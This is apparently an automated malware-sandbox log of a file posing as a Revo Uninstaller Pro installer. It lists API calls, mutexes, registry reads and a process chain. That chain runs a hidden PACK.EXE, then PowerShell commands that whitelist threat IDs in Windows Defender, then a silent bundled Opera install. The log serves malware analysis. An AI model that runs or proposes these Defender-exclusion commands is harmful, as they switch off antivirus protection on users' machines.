Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Code function: 26_2_00403665 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,CoUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		26_2_00403665

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Code function: 0_2_00404B12 GetDlgItem,SetWindowTextW,SHAutoComplete,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceExW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404B12

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Code function: 0_2_004021CF CoCreateInstance,

0_2_004021CF

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

Code function: 16_2_00FE963A FindResourceW,DeleteObject,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

16_2_00FE963A

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

File created: C:\Program Files\VS Revo Group

Jump to behavior

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

File created: C:\Users\user\Desktop\Revo Uninstaller Pro.lnk

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Opera/Installer/C:/Users/user/AppData/Local/Programs/Opera
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\RevoUninstallerPro}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7748:120:WilError_03

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

File created: C:\Users\user\AppData\Local\Temp\nsn5EB7.tmp

Jump to behavior

Source: Yara match	File source: 10.0.ruplp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2096953602.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Command line argument: sfxname	16_2_00FECBB8
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Command line argument: sfxstime	16_2_00FECBB8
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Command line argument: STARTDLG	16_2_00FECBB8

Source: Revo.Uninstaller.Pro.v5.3.4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Process created: C:\Windows\System32\rundll32.exe RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf

Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

File read: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe "C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe"
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Windows\System32\rundll32.exe RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\runonce.exe "C:\Windows\system32\runonce.exe" -r
Source: C:\Windows\System32\runonce.exe	Process created: C:\Windows\System32\grpconv.exe "C:\Windows\System32\grpconv.exe" -o
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll"
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe" /bc
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe" /regserver /NOREDIRECT
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe"
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c "C:\Users\user\AppData\Local\Temp\PACK.EXE" -p123
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\PACK.EXE C:\Users\user\AppData\Local\Temp\PACK.EXE -p123
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe C:\PROGRA~1\VSREVO~1\REVOUN~1\ruplp.exe -Embedding
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147735505 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147814523 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe"
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Process created: C:\Users\user\Downloads\OperaSetup.exe "C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0
Source: C:\Users\user\Downloads\OperaSetup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --silent --allusers=0 --server-tracking-blob=NjAxODRkYTk2NmVjNjFhZDRjZmFkOGU5NDAyOGEwYWNlYzViZGE5ZjVkYTg0YmUwMzJiZDRjZWFjZGQ4ODM0Njp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ1dG1fbWVkaXVtPWFwYiZ1dG1fY2FtcGFpZ249cjEwIiwidGltZXN0YW1wIjoiMTczMzc2MzI0Mi4yNjIyIiwidXNlcmFnZW50IjoiTlNJU19JbmV0YyAoTW96aWxsYSkiLCJ1dG0iOnsiY2FtcGFpZ24iOiJyMTAiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJEV05MU1QifSwidXVpZCI6ImNkOWY4MWM2LTcyOWEtNGQ5NS1hYzcxLTFlYmJhNzViZmM3YiJ9
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x6c2f7cf4,0x6c2f7d00,0x6c2f7d0c
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe "C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe "C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --showunbox=0 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=8040 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20241209115409" --session-guid=57f4b7c1-1875-4c3d-aada-fe1e595f9b71 --server-tracking-blob="ZTEzMzE3M2U4ODhkN2Y3YmE0ODQ3NmYwNmNlNmJmMDE4NmY4MzAzYmNmNWRmMWYyYmVlYWJmNDExZjE1ZDAzODp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ1dG1fbWVkaXVtPWFwYiZ1dG1fY2FtcGFpZ249cjEwIiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzMzNzYzMjQyLjI2MjIiLCJ1c2VyYWdlbnQiOiJOU0lTX0luZXRjIChNb3ppbGxhKSIsInV0bSI6eyJjYW1wYWlnbiI6InIxMCIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6IkRXTkxTVCJ9LCJ1dWlkIjoiY2Q5ZjgxYzYtNzI5YS00ZDk1LWFjNzEtMWViYmE3NWJmYzdiIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=1806000000000000
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x31c,0x320,0x330,0x2f8,0x334,0x6b717cf4,0x6b717d00,0x6b717d0c
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Windows\System32\rundll32.exe RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll"	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe" /bc	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe" /regserver /NOREDIRECT	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c "C:\Users\user\AppData\Local\Temp\PACK.EXE" -p123	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\runonce.exe "C:\Windows\system32\runonce.exe" -r	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Process created: C:\Windows\System32\grpconv.exe "C:\Windows\System32\grpconv.exe" -o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\PACK.EXE C:\Users\user\AppData\Local\Temp\PACK.EXE -p123
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147735505 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147814523 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe"
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Process created: C:\Users\user\Downloads\OperaSetup.exe "C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0
Source: C:\Users\user\Downloads\OperaSetup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --silent --allusers=0 --server-tracking-blob=NjAxODRkYTk2NmVjNjFhZDRjZmFkOGU5NDAyOGEwYWNlYzViZGE5ZjVkYTg0YmUwMzJiZDRjZWFjZGQ4ODM0Njp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ1dG1fbWVkaXVtPWFwYiZ1dG1fY2FtcGFpZ249cjEwIiwidGltZXN0YW1wIjoiMTczMzc2MzI0Mi4yNjIyIiwidXNlcmFnZW50IjoiTlNJU19JbmV0YyAoTW96aWxsYSkiLCJ1dG0iOnsiY2FtcGFpZ24iOiJyMTAiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJEV05MU1QifSwidXVpZCI6ImNkOWY4MWM2LTcyOWEtNGQ5NS1hYzcxLTFlYmJhNzViZmM3YiJ9
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x6c2f7cf4,0x6c2f7d00,0x6c2f7d0c
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe "C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe "C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --showunbox=0 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=8040 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20241209115409" --session-guid=57f4b7c1-1875-4c3d-aada-fe1e595f9b71 --server-tracking-blob="ZTEzMzE3M2U4ODhkN2Y3YmE0ODQ3NmYwNmNlNmJmMDE4NmY4MzAzYmNmNWRmMWYyYmVlYWJmNDExZjE1ZDAzODp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ1dG1fbWVkaXVtPWFwYiZ1dG1fY2FtcGFpZ249cjEwIiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzMzNzYzMjQyLjI2MjIiLCJ1c2VyYWdlbnQiOiJOU0lTX0luZXRjIChNb3ppbGxhKSIsInV0bSI6eyJjYW1wYWlnbiI6InIxMCIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6IkRXTkxTVCJ9LCJ1dWlkIjoiY2Q5ZjgxYzYtNzI5YS00ZDk1LWFjNzEtMWViYmE3NWJmYzdiIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=1806000000000000
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x31c,0x320,0x330,0x2f8,0x334,0x6b717cf4,0x6b717d00,0x6b717d0c

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Section loaded: iphlpapi.dll	Jump to behavior
